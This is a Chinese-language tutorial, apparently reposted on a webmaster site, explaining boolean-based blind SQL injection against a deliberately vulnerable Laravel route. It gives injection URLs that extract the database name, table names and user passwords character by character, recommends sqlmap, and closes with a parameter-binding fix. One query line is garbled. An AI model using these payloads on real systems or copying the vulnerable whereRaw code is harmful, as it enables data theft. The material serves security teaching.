加入收藏 | 设为首页 | 会员中心 | 我要投稿 银川站长网 (https://www.0951zz.com/)- 云通信、基础存储、云上网络、机器学习、视觉智能!
当前位置: 首页 > 综合聚焦 > 编程要点 > 语言 > 正文

怎样理解sql盲注原理是什么

发布时间:2023-06-17 12:50:42 所属栏目:语言 来源:
导读:今天就跟大家聊聊有关“如何理解sql盲注原理是什么?”的内容,可能很多人都不太了解,为了让大家认识和更进一步的了解,小编给大家总结了以下内容,希望这篇“如何理解sql盲注原理是什么?”文

今天就跟大家聊聊有关“如何理解sql盲注原理是什么?”的内容,可能很多人都不太了解,为了让大家认识和更进一步的了解,小编给大家总结了以下内容,希望这篇“如何理解sql盲注原理是什么?”文章能对大家有帮助。

环境

composer create-project laravel/laravel lar9 // 安装laravel9

// 编辑.env 修改为DEBUG=false 配置数据库

DEBUG=false

DB_HOST=....

php artisan migrate

php artisan serve // 启动

// 插入数据

insert into users(`name`,`email`,`password`) values('xxh','4******qq.com','worldhello');

登录后复制

创建漏洞

// routes/web.php

Route::get('/', function () {

$id = request()->id;

$user = \App\Models\User::whereRaw('id = '.$id)->first();

return $user->name ?? '';

});

// 最后转换的sql是: select * from users where id = $id

登录后复制

测试

http://127.0.0.1:8000/?id=1'

// 500

http://127.0.0.1:8000/?id=1 and 1=2

// select * from users where id = 1 and 1=2; 返回空

http://127.0.0.1:8000/?id=1 and 1=1

// select * from users where id = 1 and 1=1 返回xxh

登录后复制

步骤

数据库名

猜出数据名长度

url: http://127.0.0.1:8000/?id=1 and length(database()) = 1

select * from users where id = 1 and length(database()) = 1

select * from users where id = 1 and length(database()) = 2

// 一直循环下去

登录后复制

猜出数据库名

从第一步 知道了数据库名长度

`select * from users where id = 1 and substr(database(),1,1) =a`

`select * from users where id = 1 and substr(database(),1,1) =b`

// 一直循环下去 找到数据库名的第一个做字符 然后找第二个字符 直到找完数据库名的长度

登录后复制

最终: laravel_project

表名

以下的步骤和猜数据库差不多,就简说了。

information_schema

information_schema 是 mysql 自带的,

数据库名 表名 列类型 等都有记录,猜表 字段明需要从这个数据库来。

猜 laravel_project 的表数量

url: http://127.0.0.1:8000/?id=1 and (select count(*) from information_schema.tables where table_schema ="laravel_project" ) = 5

mysql> select count(*) from information_schema.tables where table_schema ="laravel_projeelect count(column_name) from information_schema.columns where table_name= ’usersct";

+----------+

| count(*) |

+----------+

| 5 |

+----------+

登录后复制

猜第一个表名的长度

与 [猜出数据名长度] 此不多。

猜第一个表名

url: http://127.0.0.1:8000/?id=1 and ( select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1) = 'f'

mysql> select substr(table_name,1,1) from information_schema.tables where table_schema ="laravel_project" limit 0,1;

+------------------------+

| substr(table_name,1,1) |

+------------------------+

| f |

+------------------------+

// 得出第一个表的第一个字段是f 然后查第

登录后复制

最终得出第一个表名称为: failed_jobs

猜字段

和猜表一模一样的逻辑。

select count(column_name) from information_schema.columns where table_name= 'failed_jobs'; // fail_jobs字段总数

登录后复制

猜数据

数据这才是最重要的。

因为 failed_jobs 没数据,所以我换成 users 来。

users 有个 password 字段。

mysql> select substr((select password from users limit 0,1),1,1);

+----------------------------------------------------+

| substr((select password from users limit 0,1),1,1) |

+----------------------------------------------------+

| w |

+----------------------------------------------------+

得出第一个是w,存起来,最后判断

mysql> select substr((select password from users limit 0,1),1,2);

+----------------------------------------------------+

| substr((select password from users limit 0,1),1,2) |

+----------------------------------------------------+

| wo |

+----------------------------------------------------+

第二个值为o

用第一个值 + 第二个值作为盲注

登录后复制

……

防御

(有时候 where 不满足需求,就需要 whereRaw)

如果需要,记得绑定就好。

Route::get('/', function () {

$id = request()->id;

$user = \App\Models\User::whereRaw('id = ?',[$id])->first();

return $user->name ?? '';

});

登录后复制

只要安份的用框架,不会会漏洞的。

那些老项目,漏洞满地飞。

现在这个时代,找漏洞难登天。

Ps

上面为了讲解简单,用是最简单的查找。

手工盲注应该用二分查找。

select * from users where id = 1 and substr(database(),1,1) ='a';

换成二分:

select * from users where id = 1 and ascii(substr(database(),1,1)) > 99;

登录后复制

最好还是直接借助工具 sqlmap, 直接扫出来。

(编辑:银川站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!